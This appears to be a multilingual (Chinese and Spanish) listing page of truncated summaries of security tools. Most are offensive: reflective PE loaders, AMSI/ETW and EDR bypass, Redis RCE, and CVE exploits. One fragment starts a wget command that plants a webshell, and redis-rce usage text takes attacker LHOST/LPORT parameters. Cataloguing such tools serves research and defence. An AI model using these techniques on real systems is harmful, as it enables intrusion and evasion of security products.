Nim-RunPE

Nim-RunPE 一个用Nim实现的从内存中反射加载PE的代码。该代码的基础取自RunPE-In-Memory - 我将其移植到了Nim。 您需要安装以下依赖： nimble install ptrmath winim 我仅使用Nim 1.6.2版本进行了测试，因此请使用该版本进行测试，否则无法保证使用其他版本时不会出现错误。 编译 如果您希望在运行时传递参数，或者根本不想传递参数，请通过以下方式编译： nim c NimRunPE.nim 如果您想要硬编码自定义参数，请根据您的需要修改const exeArgs，并使用以下命令编译： nim c -d:args NimRunPE.ni...

Redis-RCE

Redis-RCE Ejecución remota de código para redis4 y redis5 código python de https://github.com/Ridter/redis-rce Al cargar el archivo so, se extiende el nuevo comando system.exec para ejecutar comandos con éxito strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr...

ExecuteAssembly

描述： ExecuteAssembly 是 Cobalt Strike execute-assembly 的一个替代方案，使用 C/C++ 构建。它可以通过以下方式加载/注入 .NET 程序集：重用宿主（spawnto）进程已加载的 CLR 模块/AppDomainManager、覆盖加载器/.NET 程序集 PE DOS 头部、解除 .NET 相关模块的链接、绕过 ETW+AMSI、通过 NT 静态系统调用（x64）规避 EDR 钩子，以及通过 SuperFastHash 哈希算法动态解析 API 来隐藏导入。 简要（特性）： 从 PEB 数据结构中解除 CLR 相关模块的链接（使用微...

flounder

configs/ - perfiles de contexto opcionales Estos archivos JSON son perfiles de contexto opcionales y sin respuestas predefinidas. No son modos del producto Flounder y no se cargan por defecto. Existen para casos en los que un operador desea deliberadamente proporcionar al modelo un marco familiar...

amber

介绍 Amber 是一个位置无关（反射式）PE 加载器，能够实现原生 PE 文件（EXE、DLL、SYS……）的内存中执行。它支持隐蔽的内存内载荷部署，可用于绕过防病毒、防火墙、IDS、IPS 产品以及应用程序白名单缓解措施。Amber 生成的反射式载荷既可以从远程服务器分阶段传输，也可以像通用 shellcode 一样直接在内存中执行。默认情况下，每个生成的载荷都使用新一代 SGN 编码器 进行编码。Amber 使用 CRC32API 和 IATAPI 来隐秘地解析 Windows API 函数地址。PE 文件在内存中加载并执行后，反射式载荷会被擦除以躲避内存扫描器。 安装...

Analysis

Notas y Análisis de Ingeniería de Detección Este repositorio documenta investigación práctica de detección basada en pruebas de laboratorio, análisis de registros y flujos de trabajo reales de SOC. El enfoque está en cómo las técnicas de los atacantes aparecen realmente en los registros, qué lógi...

S5Late

S5Late Exploit atado de bootrom/DFU para iPod. Actualmente solo es compatible con Nano 7G; para admitir Nano 6G es necesario actualizar los offsets. Ejecución Pon tu iPod en modo DFU. Luego ejecuta: root@kitploit: ./S5Late hax 2024-12-15T23:11:34Z INFO S5Late We found an Apple Device in DFU mode...

fhex

Fhex - 功能齐全的十六进制编辑器 本项目旨在开发一个轻量级但实用的工具。原因在于现有十六进制编辑器存在一些不同的限制（例如，依赖过多、缺少十六进制着色功能等）。 本项目基于 qhexedit2 、capstone 和 keystone 引擎。未来可能会增加新功能，欢迎提交 PR。 功能 块加载器 - 用于仅加载大文件的一部分，避免耗尽内存（使用 alt + 左/右箭头在块间移动）。请注意，在块模式下，所有操作（例如搜索）仅应用于当前块，但文件保存除外（整个文件被保存）。然而，每次编辑一个块后，在移动到另一个块之前请先保存，否则更改将丢失。 搜索与替换（支持...

IronSharpPack

IronSharpPack IronSharpPack es un repositorio de proyectos populares de C que se han incrustado en scripts de IronPython que ejecutan un bypass de AMSI y luego cargan reflexivamente el proyecto de C. IronPython y el DLR tienen muy poca instrumentación, si es que tienen alguna, lo que lo convierte...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE y carga de recursos externos encontrado por @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Solo un ejemplo para colocar una webshell en el directorio actual. root@kitploit: python3 CVE-2023-2255.py --cmd 'wget...

CVE-2018-8090

CVE-2018-8090 Secuestro de DLL en Quick Heal Total Security/Internet Security/Antivirus Pro Instaladores Productos afectados: Quick Heal Total Security - 17.00 Quick Heal Internet Security - 17.00 Quick Heal AntiVirus Pro - 17.00 Instaladores afectados: Quick Heal Total Security 64 bits 17.00...

LdrLibraryEx

LdrLibraryEx Una pequeña librería x64 para cargar dll's en memoria. Características bajas dependencias y uso de funciones solo se usa ntdll.dll código independiente de posición ligera y mínima fácil de usar cargar módulos desde memoria cargar módulos desde disco soporte para api sets omite los...

Redis-RCE

redis-rce RCE en Redis 4.x/5.x Uso root@kitploit: usage: redis-rce.py -h -r RHOST -p RPORT -L LHOST -P LPORT -f FILE -a AUTH -v Redis 4.x/5.x RCE con RedisModules argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -r RHOST, --rhost RHOST host de destino -p RPORT, --rport RPORT...

WebGoat.NET

Desde el indicador de comandos, acceda al directorio DB de WebGoat.NET...

Ladon

Ladon 大型内网渗透扫描器 Cobalt Strike插件内存加载...

draytek-arsenal

Draytek Arsenal: kit de observabilidad y endurecimiento para dispositivos perimetrales Draytek. Los atacantes avanzados eligen cada vez más los dispositivos perimetrales como objetivos. Sin embargo, estos dispositivos están controlados por software de código cerrado conocido como firmware, a menu...

CVE-2024-3660-PoC

CVE-2024-3660 – Ejecución de código arbitrario en TensorFlow Keras mediante modelo malicioso Resumen CVE-2024-3660 es una vulnerabilidad de ejecución de código arbitrario en el framework Keras de TensorFlow que afecta a las versiones \ --build-arg LPORT= \ -t tfimg . && \ containerid=$docker crea...

sitrep

SitRep 可扩展、可配置的主机信息收集工具。 目的 SitRep 旨在提供一种轻量级、可扩展的主机信息收集替代方案。检查项在运行时从独立文件动态加载。这使得操作员可以快速修改现有检查项，或根据需要添加新检查项。 检查项按类别分组，并可标记为 OpSec 安全/不安全。不安全的检查项仅在提供 /AllowUnsafe 标志时加载。 有趣的结果会以 高亮显示。 检查项 检查项按类别划分，以便在适当的组中显示。目前可用的检查项如下： 环境 CurrentUser.cs - 当前用户 DomainName.cs - 域名 HostName.cs - 主机名 LoggedOnUsers.cs ...

CVE-2020-14372

CVE-2020-14372: Eludiendo no tan Secure Boot con un "simple truco" Detalles de la vulnerabilidad Un día escribí "help" en la consola de GRUB2 y vi algunos comandos muy "divertidos": readbyte ADDR: Lee un valor de 8 bits desde ADDR writebyte ADDR VAL: Escribe un valor de 8 bits VAL en ADDR...

CVE-2022-41828

CVE-2022-41828 Controlador JDBC de Amazon AWS Redshift - Ejecución remota de código RCE El controlador JDBC de Amazon para Redshift es un controlador JDBC tipo 4 que proporciona conectividad a bases de datos a través de las interfaces de programación de aplicaciones API JDBC estándar disponibles ...